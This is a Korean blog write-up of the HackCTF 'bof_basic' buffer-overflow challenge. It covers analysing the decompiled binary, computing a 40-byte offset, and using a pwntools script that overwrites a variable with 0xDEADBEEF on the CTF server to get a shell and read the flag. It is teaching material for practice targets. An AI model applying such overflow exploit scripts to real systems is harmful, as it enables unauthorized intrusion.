1. bof_basic 파일을 다운 받아서 IDA로 오픈
- HEX-RAY 플래그인이 설치되어야 디컴파일이 가능하다
- F5를 눌러 디컴파일을 한다.
2. 코드 해석하기
- 12번째 줄의 if문을 true로 만들어야 system 함수가 호출되는 것을 알 수 있음.
=> v5의 값을 0xDEADBEEF으로 만들어야함
- 변수 s와 v5가 있는 걸 확인, fgets() 함수를 사용해서 변수 s의 주소에 45바이트만큼의 입려값을 넣는다.
- s의 주소는 ebp-34 / v5의 주소는 ebp-c → 0x43 - 0xc = 0x28
- 0x28은 10진수로 40. s와 v5 주소 차는 40바이트.
- v5의 주소가 s의 주소보다 큰 값이기 때문에 먼저 선언 되었음을 알 수 있음(데이터 쌓이는 순서 : 높은 주소값→낮은 주소값)
3. 파이썬을 이용해 nc ctf.j0n9hyun.xyz 3000 에 접속하여 파일(공격파일)을 전달
- 파이썬으로 공격파일 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3000)
attack = 0xDEADBEEF
payload = 'A'*40
payload += p32(attack)
p.sendline(payload)
p.interactive()
- Linux 환경에서 python 설치하기
apt-get install python-pip python2
- Linux 환경에서 pwn 모듈 설치하기
pip install pwntools
- Linux 환경에서 python 파일 실행
root@kali:~/Downloads# python bof_basic_exploit.py
- 실행 후, 쉘에 접속 되었음을 알 수 있음. 권한과 현재 디렉토리 안의 파일 보기
- flag 파일 내용 출력
$ cat flag
'study > CTF' 카테고리의 다른 글
[HackCTF] Basic_FSB (0) | 2020.09.23 |
---|---|
[HackCTF] Pwnable - RTL_World (0) | 2020.09.23 |
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리) (0) | 2020.06.12 |
[CTF] suninatas.com_web02 (0) | 2020.04.23 |
[CTF] reversing.kr_easy crack (0) | 2020.04.17 |